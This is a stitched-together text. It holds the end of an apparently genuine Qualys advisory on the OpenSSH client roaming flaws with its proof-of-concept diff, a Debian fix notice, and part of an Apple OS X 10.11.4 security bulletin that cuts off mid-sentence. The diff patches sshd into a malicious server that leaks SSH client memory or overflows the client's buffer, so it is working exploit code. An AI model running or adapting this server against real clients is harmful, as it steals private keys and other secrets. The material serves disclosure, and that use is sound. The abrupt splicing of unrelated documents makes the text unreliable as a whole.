packet_read_expect() are scarce, except in the\n  key-exchange code of OpenSSH clients \u003c 6.8: our proof-of-concept\n  effectively forces a rekeying in order to overflow setp in\n  packet_read_seqnr(). \n\n- Second, after a successful reconnection, packet_read_seqnr() may call\n  fatal(\"Read from socket failed: %.100s\", ...), because roaming_read()\n  may return EAGAIN (EAGAIN is never returned without the reconnection,\n  because the preceding call to select() guarantees that connection_in\n  is ready for read()). Our proof-of-concept works around this problem\n  by forcing the client to resend MAX_ROAMBUF bytes (2M) to the server,\n  allowing data to reach the client before roaming_read() is called,\n  thus avoiding EAGAIN. \n\n\n========================================================================\nAcknowledgments\n========================================================================\n\nWe would like to thank the OpenSSH developers for their great work and\ntheir incredibly quick response, Red Hat Product Security for promptly\nassigning CVE-IDs to these issues, and Alexander Peslyak of the Openwall\nProject for the interesting discussions. \n\n\n========================================================================\nProof Of Concept\n========================================================================\n\ndiff -pruN openssh-6.4p1/auth2-pubkey.c openssh-6.4p1+roaming/auth2-pubkey.c\n--- openssh-6.4p1/auth2-pubkey.c\t2013-07-17 23:10:10.000000000 -0700\n+++ openssh-6.4p1+roaming/auth2-pubkey.c\t2016-01-07 01:04:15.000000000 -0800\n@@ -169,7 +169,9 @@ userauth_pubkey(Authctxt *authctxt)\n \t\t * if a user is not allowed to login. is this an\n \t\t * issue? -markus\n \t\t */\n-\t\tif (PRIVSEP(user_key_allowed(authctxt-\u003epw, key))) {\n+\t\tif (PRIVSEP(user_key_allowed(authctxt-\u003epw, key)) || 1) {\n+\t\t\tdebug(\"%s: force client-side load_identity_file\",\n+\t\t\t    __func__);\n \t\t\tpacket_start(SSH2_MSG_USERAUTH_PK_OK);\n \t\t\tpacket_put_string(pkalg, alen);\n \t\t\tpacket_put_string(pkblob, blen);\ndiff -pruN openssh-6.4p1/kex.c openssh-6.4p1+roaming/kex.c\n--- openssh-6.4p1/kex.c\t2013-06-01 14:31:18.000000000 -0700\n+++ openssh-6.4p1+roaming/kex.c\t2016-01-07 01:04:15.000000000 -0800\n@@ -442,6 +442,73 @@ proposals_match(char *my[PROPOSAL_MAX],\n }\n \n static void\n+roaming_reconnect(void)\n+{\n+\tpacket_read_expect(SSH2_MSG_KEX_ROAMING_RESUME);\n+\tconst u_int id = packet_get_int(); /* roaming_id */\n+\tdebug(\"%s: id %u\", __func__, id);\n+\tpacket_check_eom();\n+\n+\tconst char *const dir = get_roaming_dir(id);\n+\tdebug(\"%s: dir %s\", __func__, dir);\n+\tconst int fd = open(dir, O_RDONLY | O_NOFOLLOW | O_NONBLOCK);\n+\tif (fd \u003c= -1)\n+\t\tfatal(\"%s: open %s errno %d\", __func__, dir, errno);\n+\tif (fchdir(fd) != 0)\n+\t\tfatal(\"%s: fchdir %s errno %d\", __func__, dir, errno);\n+\tif (close(fd) != 0)\n+\t\tfatal(\"%s: close %s errno %d\", __func__, dir, errno);\n+\n+\tpacket_start(SSH2_MSG_KEX_ROAMING_AUTH_REQUIRED);\n+\tpacket_put_int64(arc4random()); /* chall */\n+\tpacket_put_int64(arc4random()); /* oldchall */\n+\tpacket_send();\n+\n+\tpacket_read_expect(SSH2_MSG_KEX_ROAMING_AUTH);\n+\tconst u_int64_t client_read_bytes = packet_get_int64();\n+\tdebug(\"%s: client_read_bytes %llu\", __func__,\n+\t    (unsigned long long)client_read_bytes);\n+\tpacket_get_int64(); /* digest (1-8) */\n+\tpacket_get_int64(); /* digest (9-16) */\n+\tpacket_get_int();   /* digest (17-20) */\n+\tpacket_check_eom();\n+\n+\tu_int64_t client_write_bytes;\n+\tsize_t len = sizeof(client_write_bytes);\n+\tload_roaming_file(\"client_write_bytes\", \u0026client_write_bytes, \u0026len);\n+\tdebug(\"%s: client_write_bytes %llu\", __func__,\n+\t    (unsigned long long)client_write_bytes);\n+\n+\tu_int client_out_buf_size;\n+\tlen = sizeof(client_out_buf_size);\n+\tload_roaming_file(\"client_out_buf_size\", \u0026client_out_buf_size, \u0026len);\n+\tdebug(\"%s: client_out_buf_size %u\", __func__, client_out_buf_size);\n+\tif (client_out_buf_size \u003c= 0 || client_out_buf_size \u003e MAX_ROAMBUF)\n+\t\tfatal(\"%s: client_out_buf_size %u\", __func__,\n+\t\t\t   client_out_buf_size);\n+\n+\tpacket_start(SSH2_MSG_KEX_ROAMING_AUTH_OK);\n+\tpacket_put_int64(client_write_bytes - (u_int64_t)client_out_buf_size);\n+\tpacket_send();\n+\tconst int overflow = (access(\"output\", F_OK) == 0);\n+\tif (overflow != 0) {\n+\t\tconst void *const ptr = load_roaming_file(\"output\", NULL, \u0026len);\n+\t\tbuffer_append(packet_get_output(), ptr, len);\n+\t}\n+\tpacket_write_wait();\n+\n+\tchar *const client_out_buf = xmalloc(client_out_buf_size);\n+\tif (atomicio(read, packet_get_connection_in(), client_out_buf,\n+\t\t\t       client_out_buf_size) != client_out_buf_size)\n+\t\tfatal(\"%s: read client_out_buf_size %u errno %d\", __func__,\n+\t\t\t\tclient_out_buf_size, errno);\n+\tif (overflow == 0)\n+\t\tdump_roaming_file(\"infoleak\", client_out_buf,\n+\t\t\t\t\t      client_out_buf_size);\n+\tfatal(\"%s: all done for %s\", __func__, dir);\n+}\n+\n+static void\n kex_choose_conf(Kex *kex)\n {\n \tNewkeys *newkeys;\n@@ -470,6 +537,10 @@ kex_choose_conf(Kex *kex)\n \t\t\tkex-\u003eroaming = 1;\n \t\t\tfree(roaming);\n \t\t}\n+\t} else if (strcmp(peer[PROPOSAL_KEX_ALGS], KEX_RESUME) == 0) {\n+\t\troaming_reconnect();\n+\t\t/* NOTREACHED */\n+\t\tfatal(\"%s: returned from %s\", __func__, KEX_RESUME);\n \t}\n \n \t/* Algorithm Negotiation */\ndiff -pruN openssh-6.4p1/roaming.h openssh-6.4p1+roaming/roaming.h\n--- openssh-6.4p1/roaming.h\t2011-12-18 15:52:52.000000000 -0800\n+++ openssh-6.4p1+roaming/roaming.h\t2016-01-07 01:04:15.000000000 -0800\n@@ -42,4 +42,86 @@ void\tresend_bytes(int, u_int64_t *);\n void\tcalculate_new_key(u_int64_t *, u_int64_t, u_int64_t);\n int\tresume_kex(void);\n \n+#include \u003cfcntl.h\u003e\n+#include \u003cstdio.h\u003e\n+#include \u003cstring.h\u003e\n+#include \u003csys/stat.h\u003e\n+#include \u003csys/types.h\u003e\n+#include \u003cunistd.h\u003e\n+\n+#include \"atomicio.h\"\n+#include \"log.h\"\n+#include \"xmalloc.h\"\n+\n+static inline char *\n+get_roaming_dir(const u_int id)\n+{\n+\tconst size_t buflen = MAXPATHLEN;\n+\tchar *const buf = xmalloc(buflen);\n+\n+\tif ((u_int)snprintf(buf, buflen, \"/tmp/roaming-%08x\", id) \u003e= buflen)\n+\t\tfatal(\"%s: snprintf %u error\", __func__, id);\n+\treturn buf;\n+}\n+\n+static inline void\n+dump_roaming_file(const char *const name,\n+    const void *const buf, const size_t buflen)\n+{\n+\tif (name == NULL)\n+\t\tfatal(\"%s: name %p\", __func__, name);\n+\tif (strchr(name, \u0027/\u0027) != NULL)\n+\t\tfatal(\"%s: name %s\", __func__, name);\n+\tif (buf == NULL)\n+\t\tfatal(\"%s: %s buf %p\", __func__, name, buf);\n+\tif (buflen \u003c= 0 || buflen \u003e MAX_ROAMBUF)\n+\t\tfatal(\"%s: %s buflen %lu\", __func__, name, (u_long)buflen);\n+\n+\tconst int fd = open(name, O_WRONLY | O_CREAT | O_EXCL, S_IRUSR);\n+\tif (fd \u003c= -1)\n+\t\tfatal(\"%s: open %s errno %d\", __func__, name, errno);\n+\tif (write(fd, buf, buflen) != (ssize_t)buflen)\n+\t\tfatal(\"%s: write %s errno %d\", __func__, name, errno);\n+\tif (close(fd) != 0)\n+\t\tfatal(\"%s: close %s errno %d\", __func__, name, errno);\n+}\n+\n+static inline void *\n+load_roaming_file(const char *const name,\n+    void *buf, size_t *const buflenp)\n+{\n+\tif (name == NULL)\n+\t\tfatal(\"%s: name %p\", __func__, name);\n+\tif (strchr(name, \u0027/\u0027) != NULL)\n+\t\tfatal(\"%s: name %s\", __func__, name);\n+\tif (buflenp == NULL)\n+\t\tfatal(\"%s: %s buflenp %p\", __func__, name, buflenp);\n+\n+\tconst int fd = open(name, O_RDONLY | O_NOFOLLOW | O_NONBLOCK);\n+\tif (fd \u003c= -1)\n+\t\tfatal(\"%s: open %s errno %d\", __func__, name, errno);\n+\tstruct stat st;\n+\tif (fstat(fd, \u0026st) != 0)\n+\t\tfatal(\"%s: fstat %s errno %d\", __func__, name, errno);\n+\tif (S_ISREG(st.st_mode) == 0)\n+\t\tfatal(\"%s: %s mode 0%o\", __func__, name, (u_int)st.st_mode);\n+\tif (st.st_size \u003c= 0 || st.st_size \u003e MAX_ROAMBUF)\n+\t\tfatal(\"%s: %s size %lld\", __func__, name,\n+\t\t    (long long)st.st_size);\n+\n+\tif (buf == NULL) {\n+\t\t*buflenp = st.st_size;\n+\t\tbuf = xmalloc(*buflenp);\n+\t} else {\n+\t\tif (*buflenp != (size_t)st.st_size)\n+\t\t\tfatal(\"%s: %s size %lld buflen %lu\", __func__, name,\n+\t\t\t    (long long)st.st_size, (u_long)*buflenp);\n+\t}\n+\tif (read(fd, buf, *buflenp) != (ssize_t)*buflenp)\n+\t\tfatal(\"%s: read %s errno %d\", __func__, name, errno);\n+\tif (close(fd) != 0)\n+\t\tfatal(\"%s: close %s errno %d\", __func__, name, errno);\n+\treturn buf;\n+}\n+\n #endif /* ROAMING */\ndiff -pruN openssh-6.4p1/serverloop.c openssh-6.4p1+roaming/serverloop.c\n--- openssh-6.4p1/serverloop.c\t2013-07-17 23:12:45.000000000 -0700\n+++ openssh-6.4p1+roaming/serverloop.c\t2016-01-07 01:04:15.000000000 -0800\n@@ -1060,6 +1060,9 @@ server_request_session(void)\n \treturn c;\n }\n \n+static int client_session_channel = -1;\n+static int server_session_channel = -1;\n+\n static void\n server_input_channel_open(int type, u_int32_t seq, void *ctxt)\n {\n@@ -1089,12 +1092,22 @@ server_input_channel_open(int type, u_in\n \t\tc-\u003eremote_window = rwindow;\n \t\tc-\u003eremote_maxpacket = rmaxpack;\n \t\tif (c-\u003etype != SSH_CHANNEL_CONNECTING) {\n+\t\t\tdebug(\"%s: avoid client-side buf_append\", __func__);\n+\t\t\t/*\n \t\t\tpacket_start(SSH2_MSG_CHANNEL_OPEN_CONFIRMATION);\n \t\t\tpacket_put_int(c-\u003eremote_id);\n \t\t\tpacket_put_int(c-\u003eself);\n \t\t\tpacket_put_int(c-\u003elocal_window);\n \t\t\tpacket_put_int(c-\u003elocal_maxpacket);\n \t\t\tpacket_send();\n+\t\t\t*/\n+\t\t\tif (strcmp(ctype, \"session\") == 0) {\n+\t\t\t\tif (client_session_channel != -1)\n+\t\t\t\t\tfatal(\"%s: client_session_channel %d\",\n+\t\t\t\t\t    __func__, client_session_channel);\n+\t\t\t\tclient_session_channel = c-\u003eremote_id;\n+\t\t\t\tserver_session_channel = c-\u003eself;\n+\t\t\t}\n \t\t}\n \t} else {\n \t\tdebug(\"server_input_channel_open: failure %s\", ctype);\n@@ -1111,6 +1124,196 @@ server_input_channel_open(int type, u_in\n }\n \n static void\n+roaming_disconnect(Kex *const kex)\n+{\n+\tconst char *cp, *roaming = getenv(\"ROAMING\");\n+\tif (roaming == NULL)\n+\t\troaming = \"infoleak\";\n+\tint overflow = 0;\n+\tif ((cp = strstr(roaming, \"overflow:\")) != NULL)\n+\t\toverflow = cp[9];\n+\n+\tconst u_int client_recv_buf_size = packet_get_int();\n+\tpacket_check_eom();\n+\tconst u_int server_recv_buf_size = get_recv_buf_size();\n+\tconst u_int server_send_buf_size = get_snd_buf_size();\n+\tdebug(\"%s: client_recv_buf_size %u\", __func__, client_recv_buf_size);\n+\tdebug(\"%s: server_recv_buf_size %u\", __func__, server_recv_buf_size);\n+\tdebug(\"%s: server_send_buf_size %u\", __func__, server_send_buf_size);\n+\n+\tu_int client_send_buf_size = 0;\n+\tif ((cp = strstr(roaming, \"client_send_buf_size:\")) != NULL)\n+\t\tclient_send_buf_size = strtoul(cp + 21, NULL, 0);\n+\telse if (client_recv_buf_size == DEFAULT_ROAMBUF)\n+\t\tclient_send_buf_size = DEFAULT_ROAMBUF;\n+\telse {\n+\t\tconst u_int\n+\t\t    max = MAX(client_recv_buf_size, server_recv_buf_size),\n+\t\t    min = MIN(client_recv_buf_size, server_recv_buf_size);\n+\t\tif (min \u003c= 0)\n+\t\t\tfatal(\"%s: min %u\", __func__, min);\n+\t\tif (((u_int64_t)(max - min) * 1024) / min \u003c 1)\n+\t\t\tclient_send_buf_size = server_send_buf_size;\n+\t\telse\n+\t\t\tclient_send_buf_size = client_recv_buf_size;\n+\t}\n+\tdebug(\"%s: client_send_buf_size %u\", __func__, client_send_buf_size);\n+\tif (client_send_buf_size \u003c= 0)\n+\t\tfatal(\"%s: client_send_buf_size\", __func__);\n+\n+\tu_int id = 0;\n+\tchar *dir = NULL;\n+\tfor (;;) {\n+\t\tid = arc4random();\n+\t\tdebug(\"%s: id %u\", __func__, id);\n+\t\tfree(dir);\n+\t\tdir = get_roaming_dir(id);\n+\t\tif (mkdir(dir, S_IRWXU) == 0)\n+\t\t\tbreak;\n+\t\tif (errno != EEXIST)\n+\t\t\tfatal(\"%s: mkdir %s errno %d\", __func__, dir, errno);\n+\t}\n+\tdebug(\"%s: dir %s\", __func__, dir);\n+\tif (chdir(dir) != 0)\n+\t\tfatal(\"%s: chdir %s errno %d\", __func__, dir, errno);\n+\n+\tu_int client_out_buf_size = 0;\n+\tif ((cp = strstr(roaming, \"client_out_buf_size:\")) != NULL)\n+\t\tclient_out_buf_size = strtoul(cp + 20, NULL, 0);\n+\telse if (overflow != 0)\n+\t\tclient_out_buf_size = MAX_ROAMBUF;\n+\telse\n+\t\tclient_out_buf_size = 1 + arc4random() % 4096;\n+\tdebug(\"%s: client_out_buf_size %u\", __func__, client_out_buf_size);\n+\tif (client_out_buf_size \u003c= 0)\n+\t\tfatal(\"%s: client_out_buf_size\", __func__);\n+\tdump_roaming_file(\"client_out_buf_size\", \u0026client_out_buf_size,\n+\t\t\t\t\t   sizeof(client_out_buf_size));\n+\n+\tif ((cp = strstr(roaming, \"scp_mode\")) != NULL) {\n+\t\tif (overflow != 0)\n+\t\t\tfatal(\"%s: scp_mode is incompatible with overflow %d\",\n+\t\t\t    __func__, overflow);\n+\n+\t\tu_int seconds_left_to_sleep = 3;\n+\t\tif ((cp = strstr(cp, \"sleep:\")) != NULL)\n+\t\t\tseconds_left_to_sleep = strtoul(cp + 6, NULL, 0);\n+\t\tdebug(\"%s: sleep %u\", __func__, seconds_left_to_sleep);\n+\n+\t\tif (client_session_channel == -1)\n+\t\t\tfatal(\"%s: client_session_channel %d\",\n+\t\t\t    __func__, client_session_channel);\n+\n+\t\tpacket_start(SSH2_MSG_CHANNEL_OPEN_CONFIRMATION);\n+\t\tpacket_put_int(client_session_channel);\n+\t\tpacket_put_int(server_session_channel);\n+\t\tpacket_put_int(0); /* server window */\n+\t\tpacket_put_int(0); /* server maxpacket */\n+\t\tpacket_send();\n+\n+\t\tpacket_start(SSH2_MSG_CHANNEL_DATA);\n+\t\tpacket_put_int(client_session_channel);\n+\t\tpacket_put_string(\"\\0\\n\", 2); /* response\u0026source|sink\u0026run_err */\n+\t\tpacket_send();\n+\n+\t\tpacket_read_expect(SSH2_MSG_CHANNEL_REQUEST);\n+\t\tpacket_get_int(); /* server channel */\n+\t\tdebug(\"%s: channel request %s\", __func__,\n+\t\t    packet_get_cstring(NULL));\n+\n+\t\twhile (seconds_left_to_sleep)\n+\t\t\tseconds_left_to_sleep = sleep(seconds_left_to_sleep);\n+\t}\n+\n+\tpacket_start(SSH2_MSG_REQUEST_SUCCESS);\n+\tpacket_put_int(id); /* roaming_id */\n+\tpacket_put_int64(arc4random()); /* cookie */\n+\tpacket_put_int64(0); /* key1 */\n+\tpacket_put_int64(0); /* key2 */\n+\tpacket_put_int(client_out_buf_size - client_send_buf_size);\n+\tpacket_send();\n+\tpacket_write_wait();\n+\n+\tif (overflow != 0) {\n+\t\tconst u_int64_t full_client_out_buf = get_recv_bytes() +\n+\t\t\t\t     client_out_buf_size;\n+\n+\t\tu_int fd_leaks = 4 * 8 * 8; /* MIN_CHUNK_SIZE in bits */\n+\t\tif ((cp = strstr(roaming, \"fd_leaks:\")) != NULL)\n+\t\t\tfd_leaks = strtoul(cp + 9, NULL, 0);\n+\t\tdebug(\"%s: fd_leaks %u\", __func__, fd_leaks);\n+\n+\t\twhile (fd_leaks--) {\n+\t\t\tpacket_start(SSH2_MSG_CHANNEL_OPEN);\n+\t\t\tpacket_put_cstring(overflow == \u0027X\u0027 ? \"x11\" :\n+\t\t\t    \"auth-agent@openssh.com\"); /* ctype */\n+\t\t\tpacket_put_int(arc4random()); /* server channel */\n+\t\t\tpacket_put_int(arc4random()); /* server window */\n+\t\t\tpacket_put_int(arc4random()); /* server maxpacket */\n+\t\t\tif (overflow == \u0027X\u0027) {\n+\t\t\t\tpacket_put_cstring(\"\"); /* originator */\n+\t\t\t\tpacket_put_int(arc4random()); /* port */\n+\t\t\t}\n+\t\t\tpacket_send();\n+\n+\t\t\tpacket_read_expect(SSH2_MSG_CHANNEL_OPEN_CONFIRMATION);\n+\t\t\tpacket_get_int(); /* server channel */\n+\t\t\tpacket_get_int(); /* client channel */\n+\t\t\tpacket_get_int(); /* client window */\n+\t\t\tpacket_get_int(); /* client maxpacket */\n+\t\t\tpacket_check_eom();\n+\t\t}\n+\n+\t\twhile (get_recv_bytes() \u003c= full_client_out_buf) {\n+\t\t\tpacket_start(SSH2_MSG_GLOBAL_REQUEST);\n+\t\t\tpacket_put_cstring(\"\"); /* rtype */\n+\t\t\tpacket_put_char(1); /* want_reply */\n+\t\t\tpacket_send();\n+\n+\t\t\tpacket_read_expect(SSH2_MSG_REQUEST_FAILURE);\n+\t\t\tpacket_check_eom();\n+\t\t}\n+\n+\t\tif (kex == NULL)\n+\t\t\tfatal(\"%s: no kex, cannot rekey\", __func__);\n+\t\tif (kex-\u003eflags \u0026 KEX_INIT_SENT)\n+\t\t\tfatal(\"%s: KEX_INIT_SENT already\", __func__);\n+\t\tchar *const ptr = buffer_ptr(\u0026kex-\u003emy);\n+\t\tconst u_int len = buffer_len(\u0026kex-\u003emy);\n+\t\tif (len \u003c= 1+4) /* first_kex_follows + reserved */\n+\t\t\tfatal(\"%s: kex len %u\", __func__, len);\n+\t\tptr[len - (1+4)] = 1; /* first_kex_follows */\n+\t\tkex_send_kexinit(kex);\n+\n+\t\tu_int i;\n+\t\tpacket_read_expect(SSH2_MSG_KEXINIT);\n+\t\tfor (i = 0; i \u003c KEX_COOKIE_LEN; i++)\n+\t\t\tpacket_get_char();\n+\t\tfor (i = 0; i \u003c PROPOSAL_MAX; i++)\n+\t\t\tfree(packet_get_string(NULL));\n+\t\tpacket_get_char(); /* first_kex_follows */\n+\t\tpacket_get_int(); /* reserved */\n+\t\tpacket_check_eom();\n+\n+\t\tchar buf[8192*2]; /* two packet_read_seqnr bufferfuls */\n+\t\tmemset(buf, \u0027\\0\u0027, sizeof(buf));\n+\t\tpacket_start(SSH2_MSG_KEX_ROAMING_AUTH_FAIL);\n+\t\tpacket_put_string(buf, sizeof(buf));\n+\t\tpacket_send();\n+\t\tconst Buffer *const output = packet_get_output();\n+\t\tdump_roaming_file(\"output\", buffer_ptr(output),\n+\t\t\t\t\t    buffer_len(output));\n+\t}\n+\n+\tconst u_int64_t client_write_bytes = get_recv_bytes();\n+\tdebug(\"%s: client_write_bytes %llu\", __func__,\n+\t    (unsigned long long)client_write_bytes);\n+\tdump_roaming_file(\"client_write_bytes\", \u0026client_write_bytes,\n+\t\t\t\t\t  sizeof(client_write_bytes));\n+\tfatal(\"%s: all done for %s\", __func__, dir);\n+}\n+\n+static void\n server_input_global_request(int type, u_int32_t seq, void *ctxt)\n {\n \tchar *rtype;\n@@ -1168,6 +1371,13 @@ server_input_global_request(int type, u_\n \t} else if (strcmp(rtype, \"no-more-sessions@openssh.com\") == 0) {\n \t\tno_more_sessions = 1;\n \t\tsuccess = 1;\n+\t} else if (strcmp(rtype, ROAMING_REQUEST) == 0) {\n+\t\tif (want_reply != 1)\n+\t\t\tfatal(\"%s: rtype %s want_reply %d\", __func__,\n+\t\t\t\t   rtype, want_reply);\n+\t\troaming_disconnect(ctxt);\n+\t\t/* NOTREACHED */\n+\t\tfatal(\"%s: returned from %s\", __func__, ROAMING_REQUEST);\n \t}\n \tif (want_reply) {\n \t\tpacket_start(success ?\ndiff -pruN openssh-6.4p1/sshd.c openssh-6.4p1+roaming/sshd.c\n--- openssh-6.4p1/sshd.c\t2013-07-19 20:21:53.000000000 -0700\n+++ openssh-6.4p1+roaming/sshd.c\t2016-01-07 01:04:15.000000000 -0800\n@@ -2432,6 +2432,8 @@ do_ssh2_kex(void)\n \t}\n \tif (options.kex_algorithms != NULL)\n \t\tmyproposal[PROPOSAL_KEX_ALGS] = options.kex_algorithms;\n+\telse\n+\t\tmyproposal[PROPOSAL_KEX_ALGS] = KEX_DEFAULT_KEX \",\" KEX_RESUME;\n \n \tif (options.rekey_limit || options.rekey_interval)\n \t\tpacket_set_rekey_limits((u_int32_t)options.rekey_limit,\n. \n\nMore details about identifying an attack and mitigations will be\navailable in the Qualys Security Advisory. \n\nFor the oldstable distribution (wheezy), these problems have been fixed\nin version 1:6.0p1-4+deb7u3. \n\nFor the stable distribution (jessie), these problems have been fixed in\nversion 1:6.7p1-5+deb8u1. \n\nFor the testing distribution (stretch) and unstable distribution (sid), these\nproblems will be fixed in a later version. -----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA512\n\nAPPLE-SA-2016-03-21-5 OS X El Capitan 10.11.4 and Security Update\n2016-002\n\nOS X El Capitan 10.11.4 and Security Update 2016-002 is now available\nand addresses the following:\n\napache_mod_php\nAvailable for:  OS X Mavericks v10.9.5, OS X Yosemite v10.10.5,\nand OS X El Capitan v10.11 to v10.11.3\nImpact:  Processing a maliciously crafted .png file may lead to\narbitrary code execution\nDescription:  Multiple vulnerabilities existed in libpng versions\nprior to 1.6.20. These were addressed by updating libpng to version\n1.6.20. \nCVE-ID\nCVE-2015-8126 : Adam Mari\u0161\nCVE-2015-8472 : Adam Mari\u0161\n\nAppleRAID\nAvailable for:  OS X El Capitan v10.11 to v10.11.3\nImpact:  An application may be able to execute arbitrary code with\nkernel privileges\nDescription:  A memory corruption issue was addressed through\nimproved input validation. \nCVE-ID\nCVE-2016-1733 : Proteas of Qihoo 360 Nirvan Team\n\nAppleRAID\nAvailable for:  OS X El Capitan v10.11 to v10.11.3\nImpact:  A local user may be able to determine kernel memory layout\nDescription:  An out-of-bounds read issue existed that led to the\ndisclosure of kernel memory. This was addressed through improved\ninput validation. \nCVE-ID\nCVE-2016-1732 : Proteas of Qihoo 360 Nirvan Team\n\nAppleUSBNetworking\nAvailable for:  OS X El Capitan v10.11 to v10.11.3\nImpact:  An application may be able to execute arbitrary code with\nkernel privileges\nDescription:  A memory corruption issue existed in the parsing of\ndata from USB devices. This issue was addressed through improved\ninput validation. \nCVE-ID\nCVE-2016-1734 : Andrea Barisani and Andrej Rosano of Inverse Path\n\nBluetooth\nAvailable for:  OS X El Capitan v10.11 to v10.11.3\nImpact:  An application may be able to execute arbitrary code with\nkernel privileges\nDescription:  Multiple memory corruption issues were addressed\nthrough improved memory handling. \nCVE-ID\nCVE-2016-1735 : Jeonghoon Shin@A.D.D\nCVE-2016-1736 : beist and ABH of BoB\n\nCarbon\nAvailable for:  OS X El Capitan v10.11 to v10.11.3\nImpact:  Processing a maliciously crafted .dfont file may lead to\narbitrary code execution\nDescription:  Multiple memory corruption issues existed in the\nhandling of font files. These issues were addressed through improved\nbounds checking. \nCVE-ID\nCVE-2016-1737 : an anonymous researcher\n\ndyld\nAvailable for:  OS X El Capitan v10.11 to v10.11.3\nImpact:  An attacker may tamper with code-signed applications to\nexecute arbitrary code in the application\u0027s context\nDescription:  A code signing verification issue existed in dyld. \nCVE-ID\nCVE-2016-1738 : beist and ABH of BoB\n\nFontParser\nAvailable for:  OS X El Capitan v10.11 to v10.11.3\nImpact:  Opening a maliciously crafted PDF file may lead to an\nunexpected application termination or arbitrary code execution\nDescription:  A memory corruption issue was addressed through\nimproved memory handling. \nCVE-ID\nCVE-2016-1740 : HappilyCoded (ant4g0nist and r3dsm0k3) working with\nTrend Micro\u0027s Zero Day Initiative (ZDI)\n\nHTTPProtocol\nAvailable for:  OS X El Capitan v10.11 to v10.11.3\nImpact:  A remote attacker may be able to execute arbitrary code\nDescription:  Multiple vulnerabilities existed in nghttp2 versions\nprior to 1.6.0, the most serious of which may have led to remote code\nexecution. These were addressed by updating nghttp2 to version 1.6.0. \nCVE-ID\nCVE-2015-8659\n\nIntel Graphics Driver\nAvailable for:  OS X El Capitan v10.11 to v10.11.3\nImpact:  An application may be able to execute arbitrary code with\nkernel privileges\nDescription:  Multiple memory corruption issues were addressed\nthrough improved memory handling. \nCVE-ID\nCVE-2016-1743 : Piotr Bania of Cisco Talos\nCVE-2016-1744 : Ian Beer of Google Project Zero\n\nIOFireWireFamily\nAvailable for:  OS X El Capitan v10.11 to v10.11.3\nImpact:  A local user may be able to cause a denial of service\nDescription:  A null pointer dereference was addressed through\nimproved validation. \nCVE-ID\nCVE-2016-1745 : sweetchip of Grayhash\n\nIOGraphics\nAvailable for:  OS X El Capitan v10.11 to v10.11.3\nImpact:  An application may be able to execute arbitrary code with\nkernel privileges\nDescription:  A memory corruption issue was addressed through\nimproved input validation. \nCVE-ID\nCVE-2016-1746 : Peter Pi of Trend Micro working with Trend Micro\u0027s\nZero Day Initiative (ZDI)\nCVE-2016-1747 : Juwei Lin of Trend Micro working with Trend Micro\u0027s\nZero Day Initiative (ZDI)\n\nIOHIDFamily\nAvailable for:  OS X El Capitan v10.11 to v10.11.3\nImpact:  An application may be able to determine kernel memory layout\nDescription:  A memory corruption issue was addressed through\nimproved memory handling. \nCVE-ID\nCVE-2016-1748 : Brandon Azad\n\nIOUSBFamily\nAvailable for:  OS X El Capitan v10.11 to v10.11.3\nImpact:  An application may be able to execute arbitrary code with\nkernel privileges\nDescription:  Multiple memory corruption issues were addressed\nthrough improved memory handling. \nCVE-ID\nCVE-2016-1749 : Ian Beer of Google Project Zero and Juwei Lin of\nTrend Micro working with Trend Micro\u0027s Zero Day Initiative (ZDI)\n\nKernel\nAvailable for:  OS X El Capitan v10.11 to v10.11.3\nImpact:  An application may be able to execute arbitrary code with\nkernel privileges\nDescription:  A use after free issue was addressed through improved\nmemory management. \nCVE-ID\nCVE-2016-1750 : CESG\n\nKernel\nAvailable for:  OS X El Capitan v10.11 to v10.11.3\nImpact:  An application may be able to execute arbitrary code with\nkernel privileges\nDescription:  A race condition existed during the creation of new\nprocesses. This was addressed through improved state handling. \nCVE-ID\nCVE-2016-1757 : Ian Beer of Google Project Zero and Pedro Vilaca\n\nKernel\nAvailable for:  OS X El Capitan v10.11 to v10.11.3\nImpact:  An application may be able to execute arbitrary code with\nkernel privileges\nDescription:  A null pointer dereference was addressed through\nimproved input validation. \nCVE-ID\nCVE-2016-1756 : Lufeng Li of Qihoo 360 Vulcan Team\n\nKernel\nAvailable for:  OS X Mavericks v10.9.5, OS X Yosemite v10.10.5,\nand OS X El Capitan v10.11 to v10.11.3\nImpact:  An application may be able to execute arbitrary code with\nkernel privileges\nDescription:  Multiple memory corruption issues were addressed\nthrough improved memory handling. \nCVE-ID\nCVE-2016-1754 : Lufeng Li of Qihoo 360 Vulcan Team\nCVE-2016-1755 : Ian Beer of Google Project Zero\nCVE-2016-1759 : lokihardt\n\nKernel\nAvailable for:  OS X El Capitan v10.11 to v10.11.3\nImpact:  An application may be able to determine kernel memory layout\nDescription:  An out-of-bounds read issue existed that led to the\ndisclosure of kernel memory. This was addressed through improved\ninput validation. \nCVE-ID\nCVE-2016-1758 : Brandon Azad\n\nKernel\nAvailable for:  OS X El Capitan v10.11 to v10.11.3\nImpact:  An application may be able to execute arbitrary code with\nkernel privileges\nDescription:  Multiple integer overflows were addressed through\nimproved input validation. \nCVE-ID\nCVE-2016-1753 : Juwei Lin Trend Micro working with Trend Micro\u0027s Zero\nDay Initiative (ZDI)\n\nKernel\nAvailable for:  OS X El Capitan v10.11 to v10.11.3\nImpact:  An application may be able to cause a denial of service\nDescription:  A denial of service issue was addressed through\nimproved validation. \nCVE-ID\nCVE-2016-1752 : CESG\n\nlibxml2\nAvailable for:  OS X Mavericks v10.9.5, OS X Yosemite v10.10.5,\nand OS X El Capitan v10.11 to v10.11.3\nImpact:  Processing maliciously crafted XML may lead to unexpected\napplication termination or arbitrary code execution\nDescription:  Multiple memory corruption issues were addressed\nthrough improved memory handling. \nCVE-ID\nCVE-2015-1819\nCVE-2015-5312 : David Drysdale of Google\nCVE-2015-7499\nCVE-2015-7500 : Kostya Serebryany of Google\nCVE-2015-7942 : Kostya Serebryany of Google\nCVE-2015-8035 : gustavo.grieco\nCVE-2015-8242 : Hugh Davenport\nCVE-2016-1761 : wol0xff working with Trend Micro\u0027s Zero Day\nInitiative (ZDI)\nCVE-2016-1762\n\nMessages\nAvailable for:  OS X El Capitan v10.11 to v10.11.3\nImpact:  An attacker who is able to bypass Apple\u0027s certificate\npinning, intercept TLS connections, inject messages, and record\nencrypted attachment-type messages may be able to read attachments\nDescription:  A cryptographic issue was addressed by rejecting\nduplicate messages on the client. \nCVE-ID\nCVE-2016-1788 : Christina Garman, Matthew Green, Gabriel Kaptchuk,\nIan Miers, and Michael Rushanan of Johns Hopkins University\n\nMessages\nAvailable for:  OS X El Capitan v10.11 to v10.11.3\nImpact:  Clicking a JavaScript link can reveal sensitive user\ninformation\nDescription:  An issue existed in the processing of JavaScript links. \nThis issue 